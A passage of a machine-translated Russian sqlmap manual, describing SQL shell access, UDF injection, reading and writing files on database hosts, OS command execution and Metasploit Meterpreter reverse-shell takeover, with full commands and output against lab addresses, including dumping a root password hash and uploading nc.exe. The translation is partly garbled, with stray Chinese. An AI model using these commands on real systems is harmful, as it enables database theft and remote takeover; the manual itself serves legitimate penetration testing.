  [hh:mm:50] [INFO] fetching SQL SELECT query output: 'SELECT 'foo', 'bar'' [hh:mm:50] [INFO] the SQL query provided has more than a field. sqlmap will now unpack it into distinct queries to be able to retrieve the output even if we are going blind [hh:mm:50] [DEBUG] query: SELECT ISNULL(CAST((CHAR(102)+CHAR(111)+CHAR(111)) AS VARCHAR(8000)), (CHAR(32))) [hh:mm:50] [INFO] retrieved: foo [hh:mm:50] [DEBUG] performed 27 queries in 0 seconds [hh:mm:50] [DEBUG] query: SELECT ISNULL(CAST((CHAR(98)+CHAR(97)+CHAR(114)) AS VA RCHAR(8000)), (CHAR(32))) [hh:mm:50] [INFO] retrieved: bar [hh:mm:50] [DEBUG] performed 27 quer

Как видите, Sqlmap разбивает предоставленный оператор SQL на два разных оператора SELECT и возвращает результаты отдельно.

Параметр «--sql-shell» обеспечивает интерактивную среду выполнения операторов SQL и поддерживает завершение табуляции и историю команд. нравиться:

Язык кода:javascript
копировать
  python sqlmap.py -u "http://192.168.56.102/user.php?id=1" --sql-shell

Часть вывода выглядит следующим образом:

Язык кода:javascript
копировать
  [15:06:47] [INFO] calling MySQL shell. To quit type 'x' or 'q' and press ENTER
sql-shell> select 'foo';
[15:07:41] [INFO] fetching SQL SELECT statement query output: 'select 'foo''
select 'foo';:    'foo'
sql-shell> select password from mysql.user where user='root';
[15:07:42] [INFO] fetching SQL SELECT statement query output: 'select password from mysql.user where user='root''
select password from mysql.user where user='root'; [1]:
[*] *81F5E21E35407D884A6CD4A731AEBFB6AF209E1B
sql-shell> show tables;
[15:11:15] [INFO] fetching SQL SELECT statement query output: 'show tables'
[15:11:15] [WARNING] something went wrong with full UNION technique (could be because of limitation on retrieved number of entries)
show tables; [1]:

14. Инъекция UDF

Параметры: –udf-inject

UDFда“определяемый пользователем function”аббревиатура,UDF — это усовершенствованная методика внедрения в MySQL и PostgreSQL.,Подробности см.《Advanced SQL injection to operating system full control》

Вы можете скомпилировать общие библиотеки, библиотеки DLL (Windows) и общие объекты (Linux/Unix) MySQL или PostgreSQL и указать пути к этим файлам на локальном компьютере в Sqlmap для внедрения UDF. Sqlmap сначала задаст несколько вопросов, затем загрузит файл UDF, создаст UDF и, наконец, выполнит UDF на основе ответов на вопросы. После завершения внедрения UDF Sqlmap удалит загруженный файл UDF.

Параметры: --shared-lib

При добавлении этого параметра Sqlmap будет запрашивать путь к файлу общей библиотеки во время выполнения.

В каталоге udf установочного каталога Sqlmap находится множество файлов UDF, классифицированных в соответствии с DMBS, операционной системой, номером бита и версией, и их можно использовать напрямую.

15. Доступ к файловой системе

1. Прочтите файл

Параметры: --file-read

Чтение файлов возможно, если в качестве системы управления базами данных используется MySQL, PostgreSQL или Microsoft SQL Server, а текущий пользователь имеет соответствующие разрешения на чтение файлов. Считываемый файл может быть либо файлом, либо двоичным файлом, и Sqlmap обработает его. Целевой системой управления базами данных для следующего примера является SQL Server 2005:

Язык кода:javascript
копировать
  python sqlmap.py -u "http://192.168.136.129/sqlmap/mssql/iis/get_str2.asp?name=luther" --file-read "C:/example.exe" -v 1

Часть вывода выглядит следующим образом:

Язык кода:javascript
копировать
[hh:mm:49] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2000
web application technology: ASP.NET, Microsoft IIS 6.0, ASP
back-end DBMS: Microsoft SQL Server 2005
[hh:mm:50] [INFO] fetching file: 'C:/example.exe'
[hh:mm:50] [INFO] the SQL query provided returns 3 entries
C:/example.exe file saved to:
'/software/sqlmap/output/192.168.136.129/files/C__example.exe'

Затем просмотрите скачанный файл:

Язык кода:javascript
копировать
  $ ls -l output/192.168.136.129/files/C__example.exe
-rw-r--r-- 1 inquis inquis 2560 2011-MM-DD hh:mm output/192.168.136.129/files/C__example.exe
$ file output/192.168.136.129/files/C__example.exe
output/192.168.136.129/files/C__example.exe: PE32 executable for MS Windows (GUI) Intel 80386 32-bit
2. Загрузите файлы

Параметры: –file-write и –file-dest

Загрузка файлов возможна, если в качестве системы управления базами данных используется MySQL, PostgreSQL или Microsoft SQL Server, а текущий пользователь имеет соответствующие разрешения на запись файлов. Загруженный файл может быть файлом или двоичным файлом, и Sqlmap обработает его. В следующем примере целевой системой управления базой данных является MySQL, и загружается двоичный файл, сжатый UPX:

Язык кода:javascript
копировать
  $ file /software/nc.exe.packed
/software/nc.exe.packed: PE32 executable for MS Windows (console) Intel 80386 32-bit
$ ls -l /software/nc.exe.packed
-rwxr-xr-x 1 inquis inquis 31744 2009-MM-DD hh:mm /software/nc.exe.packed
$ python sqlmap.py -u "http://192.168.136.129/sqlmap/mysql/get_int.aspx?id=1" -\
-file-write "/software/nc.exe.packed" --file-dest "C:/WINDOWS/Temp/nc.exe" -v 1
[...]
[hh:mm:29] [INFO] the back-end DBMS is MySQL
web server operating system: Windows 2003 or 2008
web application technology: ASP.NET, Microsoft IIS 6.0, ASP.NET 2.0.50727
back-end DBMS: MySQL >= 5.0.0
[...]
do you want confirmation that the file 'C:/WINDOWS/Temp/nc.exe' has been success
fully written on the back-end DBMS file system? [Y/n] y
[hh:mm:52] [INFO] retrieved: 31744
[hh:mm:52] [INFO] the file has been successfully written and its size is 31744 b
ytes, same size as the local file '/software/nc.exe.packed'

16. Управление операционной системой

1. Выполните любую команду операционной системы.

Параметры: –os-cmdи–os-shell

Если системой управления базами данных является MySQL, PostgreSQL или Microsoft SQL Server и текущий пользователь имеет соответствующие разрешения, Sqlmap может использовать SQL-инъекцию для выполнения произвольных команд операционной системы.

Если системой управления базой данных является MySQL или PostgreSQL, Sqlmap загрузит двоичный файл общей библиотеки, содержащий пользовательские функции sys_exec() и sys_eval(), через представленную ранее функцию загрузки файла, а затем создаст эти две пользовательские функции Execute user. -указанные команды через одну из этих двух функций. Какую функцию выбрать, зависит от того, хочет ли пользователь отображать стандартный вывод выполнения команды.

Когда системой управления базами данных является Microsoft SQL Сервер Sqlmap использует хранимую процедуру xp_cmdshell для выполнения произвольных команд. Если xp_cmdshell отключен (SQL Server >= По умолчанию отключено в 2005 году) Sqlmap включит его; Если xp_cmdshell не существует, Sqlmap создаст его.

Когда пользователь хочет увидеть стандартный вывод выполнения команды, Sqlmap использует перечисляемые методы внедрения (слепое внедрение, внутриполосное внедрение и внедрение на основе ошибок), а когда пользователь не хочет видеть стандартный вывод выполнения команды, Для выполнения команды будет использоваться технология внедрения запросов к куче.

Следующий пример предназначен для PostgreSQL:

Язык кода:javascript
копировать
  python sqlmap.py -u "http://192.168.136.131/sqlmap/pgsql/get_int.php?id=1" --os-cmd id -v 1

Часть вывода выглядит следующим образом:

Язык кода:javascript
копировать
web application technology: PHP 5.2.6, Apache 2.2.9
back-end DBMS: PostgreSQL
[hh:mm:12] [INFO] fingerprinting the back-end DBMS operating system
[hh:mm:12] [INFO] the back-end DBMS operating system is Linux
[hh:mm:12] [INFO] testing if current user is DBA
[hh:mm:12] [INFO] detecting back-end DBMS version from its banner
[hh:mm:12] [INFO] checking if UDF 'sys_eval' already exist
[hh:mm:12] [INFO] checking if UDF 'sys_exec' already exist
[hh:mm:12] [INFO] creating UDF 'sys_eval' from the binary UDF file
[hh:mm:12] [INFO] creating UDF 'sys_exec' from the binary UDF file
do you want to retrieve the command standard output? [Y/n/a] y
command standard output:
'uid=104(postgres) gid=106(postgres) groups=106(postgres)'
[hh:mm:19] [INFO] cleaning up the database management system
do you want to remove UDF 'sys_eval'? [Y/n] y
do you want to remove UDF 'sys_exec'? [Y/n] y
[hh:mm:23] [INFO] database management system cleanup finished
[hh:mm:23] [WARNING] remember that UDF shared object files saved on the file system can only be deleted manually

Используйте параметр «-os-shell» для имитации оболочки, которая может выполнять любую команду. Как и «-sql-shell», эта оболочка также может быть завершена с помощью клавиши Tab и поддерживает запись истории.

Если запросы к куче не поддерживаются (например, PHP или ASP+Mysql), а системой управления базой данных является MySQL, вы все равно можете создать веб-бэкдор в доступном для записи каталоге хоста, на котором находится Интернет, с помощью предложения SELECT INTO OUTFILE и выполнять команды через этот веб-бэкдор. Sqlmap поддерживает этот метод и требует от пользователя предоставить список путей к возможно доступным для записи каталогам, разделенным запятыми. Sqlmap поддерживает следующие языки сценариев на стороне сервера:

  • ASP
  • ASP.NET
  • JSP
  • PHP
2. Внеполосные TCP-соединения: Meterpreter и связанные с ним

Например: –os-pwn–os-smbrelay–os-bof–priv-esc–msf-path–tmp-path

Если системой управления базами данных является MySQL, PostgreSQL или Microsoft SQL Server и текущий пользователь имеет соответствующие разрешения, Sqlmap может установить внеполосное TCP-соединение между хостом злоумышленника и хостом, на котором расположена база данных. В зависимости от выбора пользователя это соединение может быть интерактивной командной оболочкой, сеансом Meterpreter или сеансом графического пользовательского интерфейса (VNC).

Sqlmap использует Metasploit для генерации шеллкода. Существует четыре метода выполнения шеллкода на хосте, где расположена база данных:

  • База данных выполняет шелл-код Metasploit в памяти посредством определяемой пользователем функции sys_bineval(), созданной Sqlmap. Поддерживает MySQL и PostgreSQL. Параметр «--os-pwn».
  • Загрузите и выполните «автономный промежуточный модуль полезной нагрузки» Metasploit с помощью собственных определяемых пользователем функций Sqlmap (sys_exec() в MySQL и PostgreSQL, xp_cmdshell() в Microsoft SQL Server). Параметр: «--os-pwn».
  • Эксплуатация уязвимостей удаленного выполнения кодаMS08-068。Компьютер злоумышленника должен использоватьMetasploitизsmb_relay监听来自目标机器из连接。Требуется вLinux/UnixвышеrootЗапустить с разрешенияSqlmapи цельDBMSсуществоватьWindowsвыше管理员Запустить с разрешения。параметр:“–os-smbrelay”。
  • В Microsoft SQL Server 2000и2005хранимая процедураsp_replwritetovarbinиз堆缓冲区溢出漏洞(MS09-004)существовать内存中执行Metasploitизshellcode。Sqlmap有自己данные执行Защищать绕过技术Может以成功利用漏洞,Но Metasploit должен генерировать шеллкод, чтобы его можно было выполнить в случае успешной эксплуатации уязвимости. Параметр: «--os-bof».

Вот пример, ориентированный на MySQL:

Язык кода:javascript
копировать
python sqlmap.py -u "http://192.168.136.129/sqlmap/mysql/iis/get_int_55.aspx?id=1" --os-pwn --msf-path /software/metasploit
[...]
[hh:mm:31] [INFO] the back-end DBMS is MySQL
web server operating system: Windows 2003
web application technology: ASP.NET, ASP.NET 4.0.30319, Microsoft IIS 6.0
back-end DBMS: MySQL 5.0
[hh:mm:31] [INFO] fingerprinting the back-end DBMS operating system
[hh:mm:31] [INFO] the back-end DBMS operating system is Windows
how do you want to establish the tunnel?
[1] TCP: Metasploit Framework (default)
[2] ICMP: icmpsh - ICMP tunneling
>
[hh:mm:32] [INFO] testing if current user is DBA
[hh:mm:32] [INFO] fetching current user
what is the back-end database management system architecture?
[1] 32-bit (default)
[2] 64-bit
>
[hh:mm:33] [INFO] checking if UDF 'sys_bineval' already exist
[hh:mm:33] [INFO] checking if UDF 'sys_exec' already exist
[hh:mm:33] [INFO] detecting back-end DBMS version from its banner
[hh:mm:33] [INFO] retrieving MySQL base directory absolute path
[hh:mm:34] [INFO] creating UDF 'sys_bineval' from the binary UDF file
[hh:mm:34] [INFO] creating UDF 'sys_exec' from the binary UDF file
how do you want to execute the Metasploit shellcode on the back-end database und
erlying operating system?
[1] Via UDF 'sys_bineval' (in-memory way, anti-forensics, default)
[2] Stand-alone payload stager (file system way)
>
[hh:mm:35] [INFO] creating Metasploit Framework multi-stage shellcode
which connection type do you want to use?
[1] Reverse TCP: Connect back from the database host to this machine (default)
[2] Reverse TCP: Try to connect back from the database host to this machine, on
all ports
between the specified and 65535
[3] Bind TCP: Listen on the database host for a connection
>
which is the local address? [192.168.136.1]
which local port number do you want to use? [60641]
which payload do you want to use?
[1] Meterpreter (default)
[2] Shell
[3] VNC
>
[hh:mm:40] [INFO] creation in progress ... done
[hh:mm:43] [INFO] running Metasploit Framework command line interface locally, please wait..
=[ metasploit v3.7.0-dev [core:3.7 api:1.0]
+ -- --=[ 674 exploits - 351 auxiliary
+ -- --=[ 217 payloads - 27 encoders - 8 nops
=[ svn r12272 updated 4 days ago (2011.04.07)
PAYLOAD => windows/meterpreter/reverse_tcp
EXITFUNC => thread
LPORT => 60641
LHOST => 192.168.136.1
[*] Started reverse handler on 192.168.136.1:60641
[*] Starting the payload handler...
[hh:mm:48] [INFO] running Metasploit Framework shellcode remotely via UDF 'sys_bineval', please wait..
[*] Sending stage (749056 bytes) to 192.168.136.129
[*] Meterpreter session 1 opened (192.168.136.1:60641 -> 192.168.136.129:1689) at Mon Apr 11 hh:mm:52 +0100 2011
meterpreter > Loading extension espia...success.
meterpreter > Loading extension incognito...success.
meterpreter > [-] The 'priv' extension has already been loaded.
meterpreter > Loading extension sniffer...success.
meterpreter > System Language : en_US
OS            : Windows .NET Server (Build 3790, Service Pack 2).
Computer      : W2K3R2
Architecture  : x86
Meterpreter   : x86/win32
meterpreter > Server username: NT AUTHORITY\SYSTEM
meterpreter > ipconfig
MS TCP Loopback interface
Hardware MAC: 00:00:00:00:00:00
IP Address : 127.0.0.1
Netmask    : 255.0.0.0
Intel(R) PRO/1000 MT Network Connection
Hardware MAC: 00:0c:29:fc:79:39
IP Address : 192.168.136.129
Netmask    : 255.255.255.0
meterpreter > exit
[*] Meterpreter session 1 closed. Reason: User exit

Mysql по умолчанию запускается как СИСТЕМА в Windows, но PostgreSQL работает как пользователь postgres с низким уровнем привилегий как в Windows, так и в Linux. SQL Server 2000 по умолчанию работает как СИСТЕМА, но SQL Server 2005–2008 большую часть времени работает как СЕТЕВАЯ СЛУЖБА и несколько раз как ЛОКАЛЬНАЯ СЛУЖБА.

Команда Metasploit getsystem может быть выполнена с использованием параметра «–priv-esc», чтобы попытаться повысить привилегии.

17. Операции с реестром Windows

Вы можете управлять реестром Windows, если выполняются следующие условия:

  • Целевая система управления базами данных работает в Windows.
  • Целевая система управления базами данных — MySQL, PostgreSQL или Microsoft SQL Server.
  • Поддержка запроса кучи
  • Текущий пользователь целевой системы управления базой данных имеет достаточные разрешения.
1. Прочтите значение ключа реестра Windows.

Параметры: --reg-read

2. Запишите значение ключа реестра Windows.

Параметры: –reg-add

3. Удалите ключи реестра Windows.

Параметры: –reg-del

4. Вспомогательный

Параметры: –reg-key, –reg-value, –reg-data и –reg-type.

Соответствующее использование вышеуказанных параметров позволяет добавлять или изменять раздел реестра Windows в команде без предоставления данных в форме вопросов и ответов при запуске Sqlmap.

  • --reg-key: указать путь к значению ключа реестра Windows.
  • --reg-value: указывает ключ значения ключа реестра Windows.
  • --reg-data: укажите значение ключа реестра Windows.
  • --reg-type: указывает тип данных значения ключа реестра Windows.

Вот пример:

Язык кода:javascript
копировать
  python sqlmap.py -u http://192.168.136.129/sqlmap/pgsql/get_int.aspx?id=1 --reg-add --reg-key="HKEY_LOCAL_MACHINE\SOFTWARE\sqlmap" --reg-value=Test --reg-type=REG_SZ --reg-data=1

18. Общие параметры

1. Загрузите сеанс Sqlmap из файла SQLite.

Параметры: -с

Sqlmap автоматически создает файлы SQLite длительного сеанса для каждой цели.,Этот файл единообразно хранится в определенном каталоге (нравиться:~/.sqlmap/output/),Он содержит все данные, необходимые для восстановления сеанса. Если пользователь хочет явно указать файл SQLite (например, если он хочет хранить данные из нескольких целей в одном файле SQLite),Может Используйте этот параметр。

2. Запись HTTP(S)-трафика в файл журнала.

Параметры: -т

За этим параметром следует путь к файлу для регистрации запросов и ответов HTTP(S) в текстовом формате в файле. Такие журналы полезны при отладке.

3. Неинтерактивный режим

Параметры: –пакетный

Использование этого параметра позволяет Sqlmap работать в неинтерактивном режиме, и все необходимые входные данные будут принимать значения по умолчанию.

4.Установите кодировку символов

Параметры: –charset

правильно декодировать данные,Sqlmap будет использовать информацию, предоставленную веб-сервером (например, настройку кодировки символов в заголовке HTTP).,илида使用第三方库chardetэвристически определить кодировку символов。

Вы можете использовать параметр «-charset», чтобы указать кодировку символов, например «--charset=GBK».

5. Начните сканирование целевого сайта с целевого URL.

Параметры: –Crawl

Sqlmap может сканировать целевой сайт, начиная с целевого URL-адреса, и собирать URL-адреса, которые могут иметь уязвимости. Для использования этого параметра также требуется задать глубину сканирования, которая зависит от целевого URL-адреса, с которого начинается сканирование. Сканирование заканчивается только тогда, когда все новые ссылки будут рекурсивно посещены. Рекомендуется использовать этот параметр вместе с «--delay».

Следующий пример предназначен для MySQL:

Язык кода:javascript
копировать
  python sqlmap.py -u "http://192.168.21.128/sqlmap/mysql/" --batch --crawl=3

Часть вывода выглядит следующим образом:

Язык кода:javascript
копировать
[xx:xx:53] [INFO] starting crawler
[xx:xx:53] [INFO] searching for links with depth 1
[xx:xx:53] [WARNING] running in a single-thread mode. This could take a while
[xx:xx:53] [INFO] searching for links with depth 2
[xx:xx:54] [INFO] heuristics detected web page charset 'ascii'
[xx:xx:00] [INFO] 42/56 links visited (75%)

Параметры: –Crawl-exclude

После этого параметра с помощью регулярного выражения можно исключить URL-адреса, которые вы не хотите сканировать. Если URL-адрес соответствует обычному шаблону, он не будет сканироваться. Например, используйте «--crawl-exclude=logout», чтобы исключить все URL-адреса, содержащие строку «logout».

6. Установите разделитель в выходном CSV-файле.

Параметры: –csv-del

Когда данные выводятся в файл CSV (–dump-format=CSV),По умолчанию через ",",Может以Используйте этот параметр Укажите разделитель。нравиться:“–csv-del=”;””。

7. Учетные данные аутентификации системы управления базой данных.

Параметры: –dbms-cred

В некоторых случаях выполнение действия завершается неудачно из-за низкого уровня текущих прав пользователя в системе управления базой данных. В этом случае вы можете использовать этот параметр для предоставления учетных данных для аутентификации пользователя-администратора, и Sqlmap будет специально использовать «запуск» для неудачного выполнения. часть. как» (нравиться: Microsoft SQL OPENROWSET сервера) и повторно выполните неудачное действие от имени администратора. Конечно, вам необходимо знать учетные данные для аутентификации пользователя-администратора.

8. Формат вывода данных

Параметры: --dump-формат

Sqlmap имеет три различных формата вывода перечислимых данных: CSV, HTML и SQLITE. По умолчанию используется формат CSV, каждая таблица данных сохраняется в текстовый файл, одна строка — это одна запись, разделенная запятыми (или используйте «-csv-del», чтобы указать разделитель). Выберите формат HTML, все данные сохраняются в файле HTML, а данные хранятся в таблицах. Выберите формат SQLITE, и все данные будут сохранены в файле SQLITE. Имя и структура таблицы в SQLITE будут такими же, как в исходной таблице.

9. Предполагаемое время завершения

Параметры: –эта

Этот параметр используется для отображения предполагаемого времени завершения. Следующий пример представляет собой слепую логическую инъекцию, ориентированную на Oracle:

Язык кода:javascript
копировать
  python sqlmap.py -u "http://192.168.136.131/sqlmap/oracle/get_int_bool.php?id=1" -b --eta

Часть вывода выглядит следующим образом:

Язык кода:javascript
копировать
[hh:mm:01] [INFO] the back-end DBMS is Oracle
[hh:mm:01] [INFO] fetching banner
[hh:mm:01] [INFO] retrieving the length of query output
[hh:mm:01] [INFO] retrieved: 64
17% [========>                                           ] 11/64
Then:
100% [===================================================] 64/64
[hh:mm:53] [INFO] retrieved: Oracle Database 10g Enterprise Edition Release 10.2.0.1.0 - Prod
web application technology: PHP 5.2.6, Apache 2.2.9
back-end DBMS: Oracle
banner:
'Oracle Database 10g Enterprise Edition Release 10.2.0.1.0 - Prod'

Как видите, Sqlmap сначала вычисляет длину вывода запроса, затем оценивает время выполнения и, наконец, отображает процентный индикатор выполнения и подсчитывает принятые данные.

10. Обновить файлы сеанса.

Параметры: --flush-session

Используйте этот параметр, чтобы обновить файл сеанса, чтобы избежать некоторых проблем, которые могут быть вызваны механизмом кэширования Sqlmap по умолчанию. Предварительным условием для использования этого параметра является правильное понимание концепции файлов сеансов. Другой возможный метод — вручную удалить файл сеанса.

11. Анализ и проверка полей ввода формы

Параметры: –forms

Помимо использования «-r» и «--data» для проверки наличия у данных формы точки внедрения, вы также можете использовать параметр «--forms», чтобы проверить, имеют ли данные формы точку внедрения.

Используя параметры «--forms» и «-u» одновременно, Sqlmap проанализирует целевой URL-адрес (URL-адрес, указанный «-u») и вернет форму на странице, проверяя, есть ли у формы точка внедрения. без выполнения тестирования внедрения на целевом URL.

12. Игнорировать результаты запроса в файлах сеанса.

Параметры: -fresh-queries

Используйте этот параметр для повторного выполнения запроса, игнорируя результаты запроса в файле сеанса.

13. Используйте функцию HEX для возвращаемых результатов.

Параметры: –hex

Данные, не относящиеся к ASCII, подвержены ошибкам во время передачи. Используйте шестнадцатеричную функцию, чтобы вернуть данные в целевой базе данных в шестнадцатеричном формате.

Следующий пример предназначен для PostgreSQL:

Язык кода:javascript
копировать
  python sqlmap.py -u "http://192.168.48.130/sqlmap/pgsql/get_int.php?id=1" --banner --hex -v 3 --parse-errors

Часть вывода выглядит следующим образом:

Язык кода:javascript
копировать
[xx:xx:14] [INFO] fetching banner
[xx:xx:14] [PAYLOAD] 1 AND 5849=CAST((CHR(58)||CHR(118)||CHR(116)||CHR(106)||CHR
(58))||(ENCODE(CONVERT_TO((COALESCE(CAST(VERSION() AS CHARACTER(10000)),(CHR(32)))),(CHR(85)||CHR(84)||CHR(70)||CHR(56))),(CHR(72)||CHR(69)||CHR(88))))::text||(CHR(58)||CHR(110)||CHR(120)||CHR(98)||CHR(58)) AS NUMERIC)
[xx:xx:15] [INFO] parsed error message: 'pg_query() [<a href='function.pg-query'>function.pg-query</a>]: Query failed: ERROR: invalid input syntax for type numeric: ":vtj:506f737467726553514c20382e332e39206f6e20693438362d70632d6c696e75782d676e752c20636f6d70696c656420627920474343206763632d342e332e7265616c202844656269616e2032e332e322d312e312920342e332e32:nxb:" in <b>/var/www/sqlmap/libs/pgsql.inc.php</b> on line <b>35</b>'
[xx:xx:15] [INFO] retrieved: PostgreSQL 8.3.9 on i486-pc-linux-gnu, compiled by
GCC gcc-4.3.real (Debian 4.3.2-1.1) 4.3.2
14.Укажите путь к выходному каталогу.

Параметры: --output-dir

Sqlmap по умолчанию сохраняет файлы сеансов и файлы результатов в выходной подкаталог.,Вы можете использовать этот параметр, чтобы указать выходной каталог.,нравиться:“–output-dir=/tmp”。

15. Парсить информацию об ошибках СУБД из ответа

Параметры: --parse-errors

Если веб-приложение настроено в режиме отладки, информация об ошибке SQL, скорее всего, будет отображаться на странице ответа HTTP. Эти сообщения об ошибках полезны для понимания причины сбоя операции. Например, сообщение об ошибке, вызванное недостаточными разрешениями, похоже на это: «Доступ запрещен для пользователя».

Следующий пример предназначен для Microsoft SQL Server:

Язык кода:javascript
копировать
  python sqlmap.py -u "http://192.168.21.129/sqlmap/mssql/iis/get_int.asp?id=1" --parse-errors

Часть вывода выглядит следующим образом:

Язык кода:javascript
копировать
[xx:xx:17] [INFO] ORDER BY technique seems to be usable. This should reduce the timeneeded to find the right number of query columns. Automatically extending the rangefor current UNION query injection technique test
[xx:xx:17] [INFO] parsed error message: 'Microsoft OLE DB Provider for ODBC Drivers (0x80040E14)
[Microsoft][ODBC SQL Server Driver][SQL Server]The ORDER BY position number 10 is out of range of the number of items in the select list.
<b>/sqlmap/mssql/iis/get_int.asp, line 27</b>'
[xx:xx:17] [INFO] parsed error message: 'Microsoft OLE DB Provider for ODBC Drivers (0x80040E14)
[Microsoft][ODBC SQL Server Driver][SQL Server]The ORDER BY position number 6 is out of range of the number of items in the select list.
<b>/sqlmap/mssql/iis/get_int.asp, line 27</b>'
[xx:xx:17] [INFO] parsed error message: 'Microsoft OLE DB Provider for ODBC Drivers (0x80040E14)
[Microsoft][ODBC SQL Server Driver][SQL Server]The ORDER BY position number 4 is out of range of the number of items in the select list.
<b>/sqlmap/mssql/iis/get_int.asp, line 27</b>'
[xx:xx:17] [INFO] target URL appears to have 3 columns in query
16.Укажите столбец центральной оси.

Параметры: --pivot-column

Иногда (например, в Microsoft SQL Server, Sybase и SAP MaxDB) невозможно напрямую использовать метод смещения m, n для перечисления записей таблицы данных из-за отсутствия аналогичного механизма. В этом случае Sqlmap перечисляет данные, определяя наиболее подходящий сводный столбец (наиболее уникальное значение), значения которого позже используются для получения значений других столбцов.

Если автоматический выбор не удался, вам нужно использовать этот параметр, чтобы вручную указать столбец центральной оси, нравиться: «–pivot-column=id».

17. Сохраните параметры в файл конфигурации.

Параметры: –сохранить

Используйте этот параметр, чтобы сохранить параметры командной строки Sqlmap в файле конфигурации, который доступен для редактирования и может быть загружен с помощью параметра «-c». Файл конфигурации имеет формат INI.

18.Обновление Sqlmap

Параметры: –обновить

Sqlmap можно обновить с помощью этого параметра. Очевидно, требуется подключение к Интернету. В случае сбоя выполнения вы можете выполнить «git pull”обновитьSqlmap。существоватьWindowsНиктоgit命令Может以使用SmartGit之类изgitклиент。

На самом деле «--update» и «git pull» для обновления Sqlmap таким же образом,都да从Git-репозиторийПолучите последний исходный код с。

Настоятельно рекомендуется обновить Sqlmap, прежде чем сообщать об ошибке.

19. Разное

1. Используйте сокращения

Параметр: -z

Часто используются некоторые комбинации параметров, например «-batch –random-agent –ignore-proxy». –technique=BEU", писать такую ​​длинную строку выглядит некрасиво. В Sqlmap предусмотрен сокращенный способ сокращения длины команды.

Используйте параметр «-z»,Каждый параметр можно записать только несколькими первыми буквами.,Например, «--batch» можно сократить до «летучая мышь». Принцип аббревиатуры заключается в том, что ее можно различить и соответствующие параметры уникальны. Каждый параметр разделяется запятыми. нравиться:

Язык кода:javascript
копировать
  python sqlmap.py --batch --random-agent --ignore-proxy --technique=BEU -u "www.target.com/vuln.php?id=1"

Его можно сократить как:

Язык кода:javascript
копировать
  python sqlmap.py -z "bat,randoma,ign,tec=BEU" -u "www.target.com/vuln.php?id=1"

Снованравиться:

Язык кода:javascript
копировать
  python sqlmap.py --ignore-proxy --flush-session --technique=U --dump -D testdb -T users -u "www.target.com/vuln.php?id=1"      

Его можно сократить как:

Язык кода:javascript
копировать
  python sqlmap.py -z "ign,flu,bat,tec=U,dump,D=testdb,T=users" -u "www.target.com/vuln.php?id=1"
2. Сигнал тревоги при успешном обнаружении точки инъекции.

Параметры: –alert

Этот параметр используется для подачи оповещения при обнаружении новой точки инъекции.,за которым следует команда поднять тревогу,нравиться:

Язык кода:javascript
копировать
  python sqlmap.py -r data.txt --alert "notify-send «Обнаружен дефект»

Часть вывода выглядит следующим образом:

Язык кода:javascript
копировать
  [18:59:36] [INFO] GET parameter 'couno' appears to be 'OR boolean-based blind - WHERE or HAVING clause (MySQL comment) (NOT)' injectable (with --not-string="001")
[18:59:36] [INFO] executing alerting shell command(s) ('notify-send «Обнаружена уязвимость»)

Команда, используемая для подачи оповещения в приведенном выше примере, — это команда notify-send в Ubuntu.

3. Задайте ответы на вопросы

Параметры: –ответы

На все вопросы по умолчанию даются ответы при работе в неинтерактивном режиме с использованием «--batch». Иногда вам не нужно значение по умолчанию в качестве ответа и вы хотите использовать неинтерактивный режим.,В настоящее время вы можете использовать параметр «-ответы», чтобы отвечать на конкретные вопросы.,Если вы ответите на несколько вопросов,Разделяйте запятыми. нравиться:

Язык кода:javascript
копировать
  python sqlmap.py -u "http://192.168.22.128/sqlmap/mysql/get_int.php?id=1"--technique=E --answers="extending=N" --batch

Часть вывода выглядит следующим образом:

Язык кода:javascript
копировать
  [xx:xx:56] [INFO] testing for SQL injection on GET parameter 'id' heuristic (parsing) test showed that the back-end DBMS could be 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] Y
[xx:xx:56] [INFO] do you want to include all tests for 'MySQL' extending provided level (1) and risk (1)? [Y/n] N
4. Подайте звуковой сигнал при успешном обнаружении точки инъекции.

Параметры: –beep

Используйте этот параметр для подачи звукового сигнала при успешном обнаружении точки инъекции. Этот параметр особенно полезен при использовании «-m» для обнаружения большого количества веб-сайтов из файлов журналов.

5. Очистите временные таблицы и пользовательские функции, созданные Sqlmap.

Параметры: –cleanup

Настоятельно рекомендуется использовать этот параметр для очистки временных таблиц и пользовательских функций, созданных Sqlmap после теста. Sqlmap попытается максимально очистить следы вторжения в систему управления базой данных и файловую систему.

6. Проверьте зависимости

Параметры: –зависимости

Некоторые функции Sqlmap полагаются на сторонние библиотеки.,При его использовании он сообщит об ошибке и завершит работу, если обнаружит, что эти библиотеки недоступны. Используйте этот параметр, чтобы проверить, установлены ли зависимые сторонние библиотеки.,нравиться:

Язык кода:javascript
копировать
  python sqlmap.py --dependencies

Часть вывода выглядит следующим образом:

Язык кода:javascript
копировать
  [*] starting at 19:16:05
[19:16:05] [WARNING] sqlmap requires 'python-kinterbasdb' third-party library in order to directly connect to the DBMS 'Firebird'. Download from http://kinterbasdb.sourceforge.net/
[19:16:05] [WARNING] sqlmap requires 'python-pymssql' third-party library in order to directly connect to the DBMS 'Sybase'. Download from https://github.com/pymssql/pymssql
[19:16:05] [WARNING] sqlmap requires 'python cx_Oracle' third-party library in order to directly connect to the DBMS 'Oracle'. Download from http://cx-oracle.sourceforge.net/
[19:16:05] [WARNING] sqlmap requires 'python-psycopg2' third-party library in order to directly connect to the DBMS 'PostgreSQL'. Download from http://initd.org/psycopg/
[19:16:05] [WARNING] sqlmap requires 'python ibm-db' third-party library in order to directly connect to the DBMS 'IBM DB2'. Download from https://github.com/ibmdb/python-ibmdb
[19:16:05] [WARNING] sqlmap requires 'python jaydebeapi & python-jpype' third-party library in order to directly connect to the DBMS 'HSQLDB'. Download from https://pypi.python.org/pypi/JayDeBeApi/ & http://jpype.sourceforge.net/
[19:16:05] [WARNING] sqlmap requires 'python ibm-db' third-party library in order to directly connect to the DBMS 'Informix'. Download from https://github.com/ibmdb/python-ibmdb
[19:16:05] [WARNING] sqlmap requires 'python-pyodbc' third-party library in order to directly connect to the DBMS 'Microsoft Access'. Download from https://github.com/mkleehammer/pyodbc
[19:16:05] [WARNING] sqlmap requires 'python-pymssql' third-party library in order to directly connect to the DBMS 'Microsoft SQL Server'. Download from https://github.com/pymssql/pymssql
[19:16:05] [WARNING] sqlmap requires 'python-impacket' third-party library for out-of-band takeover feature. Download from http://code.google.com/p/impacket/
[19:16:05] [WARNING] sqlmap requires 'python-ntlm' third-party library if you plan to attack a web application behind NTLM authentication. Download from http://code.google.com/p/python-ntlm/
